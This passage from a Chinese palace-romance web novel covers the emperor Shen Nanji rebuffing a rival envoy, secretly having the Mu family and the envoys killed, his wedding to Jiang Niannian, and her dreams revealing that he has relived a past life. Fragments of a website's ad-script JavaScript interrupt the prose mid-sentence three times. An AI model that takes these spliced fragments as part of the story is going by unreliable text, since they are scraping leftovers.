慕家早就暗地里派人找到了慕辰朔,也都知道了慕辰朔疯了的事实,可是在如今一个慕辰朔根本不会让沈南寂在意。慕家根本不可能借着慕辰朔,就把沈南寂怎么样。 心灰意冷的慕家人人似乎还想要辩驳什么,亦或是说些什么激怒沈南寂,可沈南寂却像是早有预料一样,直接挥挥手让人把他们全都拖了下去。 等到周围人都散尽,只剩下他们两人时,沈南寂这才收起脸上严肃的神情,他看着姜念念,有些不太确定地问道:“姐姐,刚刚慕玲月都跟你说什么了?” 他像是害怕慕玲月说了什么对自己不利的话,从而影响了自己在姜念念这里的印象。不过他也不确定慕玲月都说了什么,也不敢直接解释。 “没什么,都是一些无关紧要的小事。”顿了一下,姜念念又想了想,觉得这样他大概还是不放心,于是便又补充了一句,“都是些你之前和我说过的事。” 听到姜念念的后半句话时,沈南寂这才悄悄松了口气,同时开始庆幸自己先前的先见之明,这才没给旁人可趁之机。想到这里,他心情很好地蹭到姜念念身旁,说道:“有什么事姐姐都可以问我,我一定不会骗你的。所以你千万不要那些人说了什么,他们都只是为了报复我。” “知道了,我会有自己的判断,不会随便相信别人说的话。”姜念念说着,看到沈南寂正目不转睛的注视着自己,一时心中有些异样的情绪,然后她略微抬手,手心触上对方的发顶,轻轻揉了揉。 对面的人也不躲,由着她作为,甚至还微微躬身,方便她的动作。 67. 不归 再次见到魏临,是姜念念怎么也没想到的,毕竟她原以为,魏临应当不会亲自来这一趟。 京城恢复了往日的热闹后,街上来来往往的人络绎不绝,姜念念也同样在街上随意逛着,身后还跟着一名沈南寂派来保护她的侍卫。然而就在这时,她身后传来一道有些熟悉的声音:“姜姑娘。” 姜念念回头望去,就见魏临正站在这条街上,她拦住想要阻止魏临上前的侍卫,待人走近后才道:“魏公子怎么会出现在这里?” “代表梁招国前来议和,姜姑娘难道不知道吗?”魏临有些惊讶,随即又像是才想到什么,“姜姑娘出现在城中,莫非现在并不住在宫里?” 姜念念有些没明白魏临后半句话的意思,不过她还是说道:“我知道近日梁招国派人来了京城,只是没想到随行的还有魏公子。”顿了顿,她见魏临似乎还是想要知道另一个问题的答案,于是便只能继续说道:“我现在的确没有住在宫中。” “原来是这样。”魏临笑了笑,非常懂分寸的没再多问,随后他适时地提出了一个并不显突兀的请求,“恰好如今议事一切顺利,我才有机会在这京城逛上一逛。我还是第一次来明安国的京城,虽然之前的邀约一直未能兑现,不过眼下时机正好,姑娘若是有空的话,我能否邀请你与我同行呢?” 姜念念怔了一下,随后下意识道:“我对京城也并不完全了解……” “这样的话,那正好我与姑娘一同游赏。”魏临道,“我也能与你顺道说说,明安国的京城与我梁招国的区别。” 姜念念正想着如何拒绝,结果就听到身侧有人率先替她解了围:“我看这比较也就免了,魏先生若是想要有人为你介绍京城风土人情,我会安排一个熟悉这方面的人与你同行的。” 是沈南寂。 他在处理过今天的事务之后,就想来见一见姜念念,结果刚到将军府,就听说她今天出了,于是便寻了出来。结果他还没走近,就见到魏临率先见到了姜念念,于是便立马赶了过来。 魏临见到沈南寂之后,原本脸上的笑意立马敛了下去,说实话,他现在并不是很想看见沈南寂。虽然他方才对姜念念说,谈判一切顺利,可真实情况却并非如此。沈南寂几乎算准了梁招国如今的情况,直接狮子大开口,梁招国不是无法支付那样的代价,只是一旦答应了沈南寂,梁招国接下来的很长一段时间,都会陷入低迷。 如果不是确定梁招国没有混入沈南寂安插的奸细,魏临都要以为他是不是打探了梁招国的情况。 他面对着沈南寂,藏在袖中的手紧握了两分,片刻后才扯出一抹笑,“不用了。”而后他话题一转,“不过我很好奇,明安国的陛下,不在宫中,怎么会来到这京城的街上呢?”害得他白白失去了这么好的机会。虽然一开始他的确心存利用,但是事到如今,他更多的是趋于自己的本能在靠近她。 他在不知不觉中,喜欢上了这个敌国的姑娘。 正如姜念念所说,他这次本不必亲自前来,可为了能够再见她一面,为了一个不太可能的结果,他还是来了。 甚至于在刚才得知,姜念念并不住在宫中的时候,他还在庆幸,自己是不是还有机会。 但当此刻,沈南寂的手直接揽上姜念念的腰,再看向他时,即便对方脸上没做任何表情,他还是觉得对方是在嘲讽自己——尤其是姜念念并没有要推开他的意思,而他们身后的那些随从,也并没有对沈南寂的动作感到惊讶。 这几乎是在明晃晃的告诉他,所有人都知道,他们已经在一起了,唯独他早已错过了最佳时机,再也没有任何机会。 所以,带有目的的接近与感情,永远就不会有机会得到垂青吗? 沈南寂看着魏临,不顾他有些晃神的模样,亦或者就是想要看他的反应,于是故意说道:“我的妻子在外,我来寻她,有何不可?” 此话一出,不仅是魏临,就连沈南寂身后那些随从,甚至姜念念都惊了一下。姜念念狐疑地看了沈南寂一眼,不过到底是没有反驳他。而沈南寂察觉到姜念念的目光后,也扭头看了她一眼,轻轻眨了下眼。 这一幕落在魏临,就像是两人正当着他的面眉来眼去,只觉一阵碍眼。 而沈南寂大概也觉得他碍眼,很快便转回头来,冲他说道:“魏先生既然不需要随从,那我们便先走了。” 说完,他也不等魏临回话,直接就拉着姜念念离开了,很显然是不想再和他多说一句话。沈南寂和姜念念一走,那些随从自然也跟着一同离开。待到原地只剩下魏临一人,他也没有立马离开,而是仍旧站在原地,看着那渐行渐远的两人。他们不知说到了什么,突然对视了一眼,然后姜念念似乎是笑了一下。 魏临就站在那看着,直到再看不见他们的身影,才终于折身离去。 另一边,姜念念和沈南寂正在往回走,然后姜念念便听到身旁的人有些不满地说道:“姐姐怎么又和他呆在一起?” “只是凑巧路上遇到了。”姜念念道。虽然听起来有些敷衍,但它的确也是事实。 “好吧。”沈南寂接受了姜念念的这个解释。但接受归接受,心中对魏临的印象则是更差了,见到就见到了,为什么还要说些不明不白的话呢?“我不喜欢他,姐姐以后可不可以也不要和他来往!” 姜念念怔了一下,似乎是没料到沈南寂会这么说,但随即她不禁笑了笑,“这里是明安国,他迟早是要会梁招的,以后应当也不会再遇到了。” “那也不行。”沈南寂有些固执地重复道。 姜念念有些忍俊不禁,但还是应道:“好,我答应你。” 得到了自己想要的答案后,沈南寂终于露出一丝笑来。顿了顿,他又垂下眉眼,像是不经意间地抱怨道:“姐姐的身边,总是有很多人。” “除了魏临,还有谁?”姜念念不解。 沈南 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 寂立即道:“四哥。” 姜念念被他这么一提醒,她也想到了之前沈北渝对她说的那些话,一时有些哭笑不得,“可我不是没有答应他嘛。” 沈南寂自然也知道,可他就是不想这么轻易算了。他很早就在忌惮着那些靠近姜念念的人,就算如今他已经得偿所愿了,可他还是看不惯那些人。旁人还好处理,沈北渝在某种程度上是他的家人,而且又没有做什么不该做的事,他不想给人落下把柄。 “那如果下次再见到他,我和他说清楚,怎么样?”姜念念见沈南寂神色蔫蔫,于是便给出了自己的想法。 沈南寂闻言,这才彻底笑了起来,“那说完之后,你让他不要一直来找你了。” “好。”姜念念点头,答应了起来。 不过就算姜念念答应了他,沈南寂也还是在心底盘算着,等到之后找个机会,让沈北渝离开京城才好。 又过了一段时间,魏临还是没有向沈南寂妥协,于是两方就这么僵持了下来,梁招国的使臣也就一直留在了明安国。不过就算是这样,沈南寂也没有丝毫要松口的意思,反正他有的是时间和魏临这样耗下去,而魏临就不一定了。 魏临不知是因为姜念念,还是其他什么原因,始终不愿意让步。他宁愿多花些时间,但看到沈南寂始终一副愿意陪他耗下去的样子,一时也不知道他在打着什么主意。 然而很快,魏临就没办法再在明安国逗留。梁招国周边的国家,不知是如何得知梁招国战败的消息,于是也开始蠢蠢欲动了起来。魏临的第一反应就是沈南寂透露的消息,但他根本没有时间继续逼问沈南寂,梁招国的皇帝加急送来了密信,意思就是让魏临直接答应了沈南寂的条件,然后赶紧回到梁招国。 魏临虽然心有不甘,觉得这么久的努力全都白费了,可最终还是皇命难为,忍痛答应了沈南寂的条件。好在沈南寂也没有在这个时候狮子大开口,而是仍旧保留着先前的条件。 不过在魏临即将离开的时候,沈南寂却突然问了一句莫名其妙的话:“你急着回梁招国?” 魏临听到这话,立马就质问道:“是你做的?” 很显然,两人都清楚魏临说的是什么意思,不过沈南寂却丝毫没有要回答他的意思。他微微扬了扬嘴角,说道:“祝你好运。” “什么意思?”魏临皱了皱眉,莫名觉得他话里有话。 可沈南寂却耸了耸肩,好像并没有注意到他眼中的警惕,只是淡淡说道:“没什么,只是希望你路上注意安全,平安回到梁招国而已。” 魏临上下打量了一番沈南寂,总觉得他是在自己回梁招国的路上设了埋伏。可随后仔细一想,自己要是真的死在了明安国,恐怕梁招国也不会放过沈南寂,他不敢这么做。 想到这里,魏临慢慢放下心来,没再自己吓自己。但正因他此刻的一念之差,也让直到最后,永远留在了明安国,再也无法回到梁招国。 68. 无迹 从梁招国的使臣都离开京城之后,姜念念就从将军府离开,重新回到了宫中。这天下午,御书房内沈南寂还在处理着公务,姜念念在一旁替他研磨,不多时便进来一名侍卫。 那侍卫是直接进来的,看起来像是沈南寂的心腹。他见到姜念念时,应该是没有想到这里还有其他人在,先是一愣,随即又像是想到了什么,连忙朝着姜念念也行了一礼。 “什么事?”沈南寂见到他之后,并没有太意外,只是淡声询问。 那人似是有些犹豫,他瞥了一眼姜念念,没说话。 沈南寂知道他的意思,却没有放在心上,只是继续道:“没关系,直接说吧。” 那人听了,这才说道:“您交代我做的事情,已经完成了。” “痕迹都清理干净了吗?”沈南寂问。 “都清理干净了,不会有人怀疑的。”那人答道。 “那就好。”沈南寂点了点头,虽然他这样说着,但他的神色自始至终都很淡然,好像并不在乎所谓的“痕迹”究竟有没有可能暴露自己,“下去吧。” 那人应了一声“是”,随后又对着姜念念行了一礼,这才转身离去。 “是你的暗卫?”姜念念看着那人消失的方向,有些迟疑地问道。 “算是吧。”沈南寂想了想,说道,“只不过他所掌握的东西都不是核心之处,所以也不需要隐瞒身份。” 姜念念了然地点点头,没有继续追问,不过她没有说话,沈南寂却有些不想让气氛一直这么安静。他搁下笔,手撑着头看向姜念念,说道:“昨天四哥来找我了。” “他找你做什么?”姜念念顺着沈南寂的话问了下去。 沈南寂这次倒是没有和之前一般不悦,从他的声音里,能略微听出他的心情似乎还不错。 “他说,想要去西南郡。”沈南寂道。 当时沈北渝对他说的原话是:“我知道你不放心西南郡那个地方,所以一直在寻找人代替你,守着那个地方。我虽然并没有你那般有谋略,但是你可以放心,我不会成为下一个慕家。” 这正好合了沈南寂的意,他也能猜到一直生活在京城的沈北渝,为什么会突然想要离开京城。自从姜念念回到宫中之后,两人虽然没有私下见过,但是他们在一起时的情形,也被沈北渝撞见过。虽然沈北渝心有不甘,但到底是没有继续自讨苦吃。 去往西南郡对他来说,是个眼不见为净的法子。看起来像是在逃避现实,但的确好用。 而且沈南寂也不是很想让他出现在姜念念的面前。 当然,这些想法沈南寂并没有告诉姜念念。他的视线落在姜念念的脸上,仔细地观察着她的神情变化。 而姜念念对此并没有太大反应,只是微微感到有些诧异,但想到沈北渝如今在京城,无论身份地位都有些尴尬。而且难保不会有一些心思不纯的人想要拉拢沈北渝,然后再来一次颠覆朝堂的事情,沈北渝在此时离开京城,也算是彻底断绝了那些人的念头。 想到这里,姜念念也只是问道:“他想要什么时候离开?” 沈南寂迟疑了一下,随即回答道:“冬日。” 这并不是一个确切的时间,姜念念有些狐疑地望向沈南寂,疑问地偏了偏头。 沈南寂被她看得有些紧张,他放下手,双手搭在腿上,不让姜念念看到他紧攥的掌心里,已经渗出了稀薄的汗意,他的喉头微微滚动,“他问我,我们什么时候大婚。” 姜念念皱了一下眉,倒不是排斥这个话题,而是一时没有想明白这两者有什么关联。但很快她就想到,可能是沈北渝说想要在她和沈南寂大婚后离开。 “……”姜念念又看了沈南寂一眼,一眼就看出了沈南寂的紧张,于是她也放下了手中的墨块,然后面对着沈南寂坐好,“所以,你是想要在冬天的时候大婚吗?” 沈南寂有些拿不准姜念念的想法,当然,也有可能是他此时的脑海里根本无法想太多的问题,于是他只能轻轻点了点头,然后等待着姜念念给他答案。 他已经想过了,就算姜念念不愿意,但只要她不离开自己,那他还是愿意多等等的。 而令人意外的是,在见到沈南寂这毫不加以掩饰的承认了自己心底的欲望后,她反倒也没有过于意外,甚至还能平静地点了点头,“好啊。” 她答应的自然,就好像刚刚沈南寂是在问她,今天天气是不是还不错一样。沈南寂面上划过一抹震惊,但很快他便又平静了起来。早在很久之前他就明白了一个道理,只要得到了想要的答案,就绝不追问第二遍。 他兀自在心底雀跃了一阵后,这才故作沉静地说道:“好,那我让他们现在就去准备。” 虽说在他们两人看来,像寻常人家那样拜堂成亲,才更像是一对夫妻,可如今身份所限,封后大典的程序一样也不能少。 时间宛若细水长流,这样和平的日子,让姜念念不禁又生出了一种,回到了过去的错觉。只不过如今的宁静背后,不再暗藏凶险,那些危险离她而去,而她完全可以站在阳光下,感受着头顶的日光照耀着自己。 闲暇的时候,姜念念又想到了秦婉蓉,那个被遗忘在冷宫中的嫔妃。倘若她真的能够看见此时此刻的情形,又是否会替沈南寂感到欣慰,亦或是更希望他只一生平安顺遂,而不是走向这样一条注定无法回头的不归路呢? · 去往边疆的这一路困难重重,沈南寂几乎是对慕家完全弃之不顾,他像是料定了慕家逃不掉,所以连派去押送的人都并不多——当然,也可能还有一些人藏在了暗处。但是这些人或许是授了谁的意,自打出了京城之后,行进途中便并不再关注他们的安危,任由他们在烈日或者暴雨中艰难前行。 他们像是刻意让慕家死在恶劣的环境之下,所以即便因为无法忍受这样的环境,最终生了病,那些押送的士兵也丝毫没有要停下行程,为他们找个医馆或者歇一歇的意思。 于是渐渐的,一些身体扛不住的人,率先倒在了路边,而后没了呼吸。只不过在等待死亡来临的过程中,没有任何人会为他们停下脚步。这个过程漫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 长又孤独,周遭一片寂静,如同坠入无尽的深渊,最后归于虚无。 他们的尸体零落在荒野外,大多都被林中野兽叼走,待啃食的差不多了之后,就被抛弃在路边,然后等待着下一个饥饿的野兽。如此往复,直到被吞噬殆尽。 慕家那些活着的人虽然没有亲眼见到那一幕,但也大多都能猜到这样的结果。可是他们已经没有功夫去想这些人的命运了,因为他们连自己的生命都无法保障。 偶尔也有士兵看不下去,会朝他们说上一句:“早知如此,又何必当初呢?” 他一说完,连忙又被身旁的人拉住:“你和他们说这个做什么,别忘了我们的目的。” 说罢,那人扭头看了慕家人一眼,之后两人便嘀嘀咕咕地走远,再也听不清说了什么。 什么目的呢?其实已经不重要了。 慕辰朔也在这次随行途中。 也许是早就习惯了这样的环境,所以他即便整个人看起来痴痴傻傻,但却一直勉力活到了今天。最一开始的时候,慕家人还是期望着能够唤醒慕辰朔,可越到了后来,他们越是绝望,最终彻底接受了慕辰朔已经无法被唤醒的事实。 而现如今,他们只希望最后一天能够快点到来,然后结束如今这样的生活。 终于有一天,剩余的几个慕家人,等来了一群人。他们驾马疾行而来,很明显就是追着他们的,而那些押送他们的士兵,也在此时停下了脚步。 那些人来到近前,扫视了一圈这些慕家人后,有些意外:“就剩这么点人了?” 押送的人点点头,“是啊,都没坚持住,死在路上了。” 那些人似乎是应了一声,随后便没再说话。 “你们那边的问题都解决了?”押送的人又问道,“梁招国的使臣也不过如此。” 后来的那些人里,有一人回道:“他们大概是没想到我们会动手,所以轻敌了。不过这也正好方便了我们。” 慕玲月原本一直呆在人群里,这些天也并不与慕家其他人沟通,直到现在她听到了那些人的谈话,才终于有些震惊地说道:“你们杀了梁招国的使臣?是谁下的命令,沈南寂?他难道不怕梁招国报复吗?” “自身都难保了,居然还关心别人。”原本正在谈话的众人听到慕玲月的话后,立马便转过头来,“不过告诉你也无妨,陛下早就安排好了一切,区区梁招国而已,早就不足为惧了。” 听及此,慕玲月终于是彻底沉下了心,她不知道沈南寂到底做了什么,但眼看着这些人如此笃定,她大概也明白梁招国已经岌岌可危。 可正如他们所说,慕家自身都难保了,她又何必再去可怜别人。 是夜,明月高悬,万里无云。一处僻静的林子里,原本万籁俱寂的空间,骤然一阵刀光剑影。片刻之后,声响骤停,不多时便有血腥味蔓延开来。 很快这里就会聚集无数的野兽,然后抹除掉一切痕迹。 这片森林已经睡着了,醒着的明月被林叶遮住了双眼,所以没有谁会知道发生了什么。 69. 红装 这年秋日将过的时候,行宫那边传来了沈明承已故的消息,但今时早已不同往日,这则消息并没有被太多人知晓,而知晓这件事的那几人,对此也表现得不甚在意。待到将人安葬之后,便彻底无人问津。 一切都渐渐步入正轨,偶尔姜念念也能从人们的只言片语中,听到一些关于沈南寂的传闻。说他在这短短的数月里,就将梁招国彻底击垮。 所有人都惊叹于沈南寂的手段,殊不知众人口中称赞的这位新帝,却根本不在意这些事情。近日已入了冬,按照当初所说的那样,封后大典也会在近日举行。礼官早在很早之前就已经准备好了一切事宜,也算好了吉日,一切似乎都已准备妥当,只等着那一天的到来。 这样的大事,百姓自然也在期待着,就算他们无法近距离观看这一场景,但也想要能够感受这千载难逢的喜庆。谁都知道,如今的这位新帝,心中只有那位据说来自将军府的小姐。 许多人都在猜测,他们是在沈南寂式微时便相识,那时一个尚未被认回家族的落魄小姐,一个是不得势的皇子,于是两个同病相怜的人心心相惜,渐渐生出了情意。后来他们为了彼此能走得更长远,排除万难,才终于走上了如今的位置。而今,他们也终于能够修成正果。 这个传闻一开始只在民间小范围地传播,可后来不知怎的,又传到了沈南寂的耳中。出乎意料的,沈南寂对此并未作出什么举措,反而在听过后笑了一声,这事便不了了之了。于是听到这个结果的众人,便更加确信之前的传闻是真的,否则他们的陛下为什么不反驳呢?至此,这个谣言就越传越广,几乎到了家喻户晓的程度。 转眼时间就到了大婚这一天,天还没亮,姜念念就被宫女叫了起来,然后就开始洗漱打扮。等到一切都基本完成的时候,时候也不早了,很快便会有人前来。趁着这个间隙,姜念念走到窗边,她看着窗外蒙蒙的天色,外面依旧一片暗淡,阳光丝毫没有要出来的意思。 “看起来像是要下雪了。”姜念念看着天上的乌云,缓缓说道。 身后的宫女闻言,也跟着探头向外看,随即惊叹道:“还真是!算起来的话,这好像是今年的第一场雪吧。” 姜念念闻言,也想起了这茬,随后她像是想到了,神情也有了一丝微妙的变化。但很快,她就又恢复了神态,正巧这时有人来敲门,姜念念也就收回了视线,转身离开了宫殿。 整个大典的流程繁琐又冗长,尽管这段时间姜念念被拉着学习礼仪,可是到了这个时候,她还是忍不住羡慕起了普通人的婚礼。 而正如姜念念当时曾想过的一样,在大典进行到一半的时候,天空就开始簌簌地下起了小雪。这点微末的雪花,自然不可能阻挡得了大典的进程,可是姜念念在看到这雪时,还是下意识地扭头看向了沈南寂。而原本同样看着天上落雪的沈南寂,就像是心有灵犀一般,也转头看向了她。 对视的那一刻,姜念念看见沈南寂的唇角勾起了一点弧度,那双漆黑的眸子里也带着点微光——看得出来,他此刻的心情还不错。 这样的停留并没有持续太久,姜念念又再次向前走,随着她的动作,衣角带起一阵细小的风,然后将落不落的雪又再次攀上风的力道,在这世间多停留片刻。 姜念念几乎是一直跟着指引在走,也不知过了多久,天色始终都是昏暗的,这雪也一直在下,不大,但也教站在天空下的众人都染白了发。 这热闹的氛围,一直持续到了天色擦黑,姜念念已经被人送到了房中。也许是沈南寂心中还是有着某种执念,所以在最后的环节里,他还是希望能像寻常的夫妻那样,所以回到寝宫后,就有人给姜念念盖上了红盖头。 “娘娘要吃点东西吗?”有宫女询问道,“您今天都没怎么吃东西。” 其实饿过了那一阵之后,姜念念现在已经感觉不到什么饥饿感了,她微微晃动了一下走得有些麻木的腿,觉得自己大概是把这一年的路都给走完了。她在心底微微叹息了一声,然后对站在自己身侧的宫女说道:“不用了,你们也忙了一天了,先出去吃点东西吧。” 那些宫女闻言,又确认了一遍姜念念自己一个人没问题后,这才退出了宫殿。 四周重新归于寂静,可是外面的喧嚣与热闹却仿佛隔着很远的距离,也依旧传进了姜念念的耳中。 屋外的雪仍在下,沈南寂不禁想起了她初见沈南寂时,似乎也是一场雪后。大雪携着新年的热闹,一切看起来都是那么的美好。 而后又是不知过了多久,那些声音淡去,姜念念刚感到些朦胧的困意,就听门外传来了几道微不可查的说话声,然后又是一阵动静,接着就是“吱呀”一声,寒风一瞬间挤入屋内,吹散了屋内的一点暖意。 门在身后合上,沈南寂抬脚走向床边,而今心心念念的人终于成了他名正言顺的妻子,反倒让他有了一丝不切实际的感觉。 姜念念知道沈南寂已经站在自己身前,可是等了一会后,仍旧不见对方动作,正想要出声询问,眼前的盖头就被微微挑起,接着眼前出现了亮光。 “姐姐……”沈南寂的眸中蕴着无数的情绪,明明想说很多话,可是此时却不知该如何开口。 最终,他还是先转身从桌边倒了两杯酒,又走上前来,递到了姜念念的面前。 喝了合卺酒,沈南寂这才想起一件事来,“我有一件东西,要送给姐姐。” “什么?”姜念念有些好奇,目光看向沈南寂。 下一刻,她就见到沈南寂从怀中拿出一枚玉佩,是她很熟悉的样式。只不过相较于残缺的它,这枚玉佩还是完整的。 “这不是……”姜念念有些惊讶地瞧了沈南寂一眼。 沈南寂顺势坐到了姜念念的身侧,“嗯”了一声,随后又解释道:“姐姐想要的,我一直没有寻到,所以我就重新为姐姐刻了一枚。” 听到沈南寂的解释,姜念念有些惊讶地望向沈南寂,全然没想到沈南寂居然真的把她的话放在心上,而且还一直记到了今日。因为自她决定留在这里开始,就已经没再执着于它了。 也许是姜念念没有接,以为她是不喜欢,沈南寂又有些紧张地解释道:“我只是觉得,之前那个样式,如果真是摔碎的,可能会很不吉利,所以才擅作主张将它刻了个完整的出来……姐姐是不喜欢吗?” 姜念念恍惚了一阵,最终还是摇了摇头,伸手接了过去,“没有,我很喜欢,谢谢你还记得。” 玉佩落入手中,因为之前一直都是揣在沈南寂的怀中,所以此时她握在手心,也丝毫不觉得冰冷。不知是不是因为它并不是她想要找的那块玉佩,还是通过玉佩返回现实只是她的猜测,此时一切都还是在继续,没有任何变化,不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过姜念念已经不在意了。 见她收下玉佩,沈南寂这才重新展露喜色,之后他目光突然落向窗外,猝不及防道:“姐姐知道,今天这场雪,是今年的第一场雪。” 姜念念点点头,还没等她说话,他就已经再次开口了:“姐姐知道这样一个传闻吗?据说只要和自己的心上人一起看过了初雪,那他们就一定会相守一生。” 这话让姜念念听起来有些怪异,她总觉得沈南寂似乎在这件事情上,有一种莫名的执着,就好像他总是觉得他们会分开一样,所以才要不断地在各种事情上斩断那种可能性,然后告诉自己:这样就不会再分开了。 就好比现在,姜念念白日里不经意间产生的怀疑,此刻又侵上心头。她在想,沈南寂是不是料定了今天会有这场雪,所以才将日子定在了今天。 ——可是,那又怎么可能呢? 姜念念自己都有些怀疑,她是不是疯了,才会有这样的想法。 可是,没等她想明白,沈南寂就已经率先出了声。他动手替姜念念拆了头上的发簪头面,然后他的手掌贴上姜念念的面颊,目光微微垂落下来,轻声询问:“我们会一直相守一生的,对吧?姐姐。” 姜念念觉得他此刻的情绪有些不对,就好像站在悬崖边的人,在迫切地寻求着自己想要的答案,如果那个答案并不令他满意,他就会在下一秒坠入深渊。 她看着沈南寂,心头像是掠过什么,还没来得及抓住就已经消失不见。她有些没来由地厌恶这种感觉,但她还是“嗯”了一声,给予了他回应。 而这一刻,沈南寂才像是终于放下心来一般,那种不安的情绪渐渐褪去。随后,他微微倾身,一个带着眷意的吻便倏然落了下来。 · 是从什么时候开始,发现一切都不对劲的呢?姜念念仔细回想了一下,可能是她和沈南寂婚后的一年。那也是一个下过雪的冬日午后,她从睡梦中惊醒。 她梦见了一些陌生却又熟悉的场景。因为梦中的人她都见过,可是命运却与她如今截然不同。 那时的她作为姜念念,同样是穿越而来,只不过她是带着记忆的胎穿,生来便不被家人喜爱,几岁便被卖给了一个过路商人,然后几经辗转来到了皇宫。 她初时有着现代人的傲气,可是在现实的打压下,她早就与完全变成了这个世界的人。她出生以来便在这个世界,接受到的也全都是别人无休止的恶意,她早就不择手段。正因如此,她不断算计着身边的人,成功进到了贵妃的宫中当宫女。然后有一天,她意外踏进了冷宫,见到了冷宫里的沈南寂和秦婉蓉。 也许是没想到这里有人,害怕被告密的她,威胁沈南寂不许对外说,后来又时不时地关注着这边的动向。而后秦婉蓉死了,沈南寂被放了出来,姜念念便借着关照他的由头,请求慕玲月将沈南寂接进了宫中。 可是没多过久,慕玲月就因为被慕家牵连,从而被打入冷宫。而本该一同被送入冷宫的姜念念,却因为沈南寂而留了下来,甚至成了沈南寂的贴身宫女。 可她没想到的是,沈南寂心中早对这个皇宫中人心怀怨怼,恨不得杀之后快。他一路步步为营,逐渐成长为了连沈明承都刮目相看的存在,也不过是为了报复那些自己讨厌的人。而为了活下去,姜念念一次次地利用沈南寂。她自私自利,全然不顾沈南寂的安危。 70. 碎玉 她没有想过自己为什么会被沈南寂留下,只是在一切顺理成章地发生之后,也理所当然地接受了这个现实。 可直到最后,沈南寂杀尽了所有仇人,宫墙之内血流成河,一切都发生在姜念念的眼前。直到那时,姜念念才真的清晰地感受到死亡的逼近。 她看到沈南寂提着剑,一步步向自己走来,银白的剑身已经被鲜血染红,此时还正一滴一滴向下滴着,随着他缓步走来的动作,在沿途也划过一条细细小小的虚线。姜念念以为她会被捅个对穿,和其他人一样。毕竟自己的所作所为,对沈南寂的恶意,几乎不加掩饰。 可她闭着眼睛等了许久,都没有等来预想中的痛意。她试探着睁开眼睛,就看到沈南寂俯身蹲在自己身前,目不转睛地看着她。 而见她看过来,沈南寂似乎是笑了一下,又好像没有。接着,他提起剑,横放在姜念念的面前。姜念念不解回望,然后就听他道:“那些人都死了,是我杀的。所以,你想杀了我吗?” 那一瞬间,姜念念感觉自己头皮都要炸了。她想过,很早之前就想过。因为在意识到沈南寂的不可控后,姜念念担心她迟早有一天会因此殒命,所以她想过如果沈南寂死了,那么她是不是就可以另谋出路。 只不过事情已经演变到了如今这个地步,而她也没有想到,沈南寂一直都知道她的想法。 沈南寂的手举了半天,见姜念念一直都没有动作,这才自言自语般地道:“不想吗……” 他放下了手,结果姜念念刚松了一口气,就听到他又突然问道:“是不想,还是不敢?” 姜念念的心再次提起,可她根本不敢回答。 两人就这么僵持了大半天,最终还是沈南寂率先停止了这场沉默地对峙。 他略微抬手,他的双手沾着别人的鲜血,还未干透。姜念念身体止不住地颤抖,却不敢躲避。下一秒,那只手落到姜念念的眼角,带着一片凉意。姜念念还能闻到刺鼻的血腥味,然后他的拇指指腹微微用力按压了一下,像是太阳穴的方向扫过,留下一道深红的印记。 接着,他站起身来,垂眸看着姜念念。他不顾姜念念已经因为恐惧而怔住的身形,一字一句,缓缓道:“不必害怕,我不会杀了你。” 沈南寂那一夜杀了很多人,却唯独留下了姜念念。她没了以往的靠山,就像是坠海的人,即便知道沈南寂很危险,却还是不得不抓紧沈南寂这一根浮木。 沈南寂说要娶她,送给她一枚玉佩作为信物,可是姜念念知道,他对自己大概也没有多少爱意。就像她知道,他当初也不过是借着她,才来到了贵妃的宫殿,然后利用贵妃的名头招揽自己的势力。 然而她根本没有办法指责沈南寂,因为她也是一样的。 可是变故就出现在了一次战争中,沈南寂带着她一同前往了边关,但她被留在了后方。可就是那一次,不知是哪一方的势力,趁着沈南寂不在,将后方包括姜念念在内的所有人都杀了。 而她死后的事情,姜念念便再看不见,也不知道又是如何发展。 她像是旁观者,又仿佛是亲历者。 不知为何,明明这些事情都看似无厘头,可是姜念念在醒来之后,却又一种怅然若失的感觉。就好像这些本该就是她记忆的一部分。 之后的很长一段时间里,她都频繁地梦见这些事,而每一次梦醒,她都有片刻的失神。沈南寂询问过她怎么了,可是不知该如何回答的姜念念,最终都只是摇了摇头。 可能是觉得姜念念人在皇宫中,应当也不会出什么事,所以沈南寂在多次询问无果后,也就没再继续探听,只是让人留心着姜念念的情况,若是有什么不对的,就尽快告知给他。 可他到底没有办法控制命运,姜念念忽然昏倒在宫中,再次醒来时,她看到了神情不甘的沈南寂。她知道,她大概是时日无多了。因为自从那场梦出现以来,她就能够感觉到自己的身体每况愈下,只不过她从未对旁人提起过。 见到姜念念醒来,沈南寂立马换了脸色,露出一抹笑来,他像从前无数次那样,轻声道:“姐姐,你醒啦?” 姜念念没有答话,她坐起身,难得细细端详着他的脸,留有空闲去想那些曾经无法解释的问题答案。可是此时再看,一切问题好像都可以迎刃而解了。 于是她也缓缓问了一个,在别人看来无厘头的问题,“我是几岁死的?” 沈南寂身形一震,眼底闪过一丝慌乱,随即他才猛地看向姜念念,试探着开口:“姐姐……你都想起来了?” 即便猜到了这个结果,他的神情也不像是高兴,反倒带着慌乱和惶恐,只能看着眼前的人,确定她还在身边,才能稍稍安心。 而听到这个回答,姜念念就知道自己的猜测没有错。沈南寂之所以能够预料到很多事情的发生,只不过是他也知道那些事而已。 不是未卜先知,而是从头来过。 姜念念想到自己醒来前的最后一场梦,自己十三岁那年,似乎发了一场高烧,几经辗转后,人虽然退了烧,但最终却忘了很多之前发生的事。不过那对生活并没有太大影响,她也就没再放在心上。 十三岁的她是家中的掌上明珠,几乎事事顺遂,却突然来到了这个世界。她被这个世界教着冷漠,却不想遇见了沈南寂。 最初她的确百般利用于他,可后来也多次给他给予了援手。可她还是救不了他,甚至独自死在了荒野上。她还记得,那时她怀里的玉佩摔出来,它似乎之前就被剑劈碎,拿到手中的也就只有姜念念后来见到的那半块。 回去后她知道自己在渐渐忘记那些事,便想要将他们的曾经,可是每当她写下一句,那些字又很快消失,于是才变成了最后的那个样子。 再之后,十七岁的她,再重新站在了故地,只不过这时的她,没了前尘往事的纷扰,一切的利用看起来也都显得那么无关紧要。 姜念念垂下眼,说道:“你还没有回答我的问题。” “……十七。” 听到这个回答,姜念念不知该如何形容自己此刻的心情,她闭了闭眼,终于还是自嘲地笑了一声。 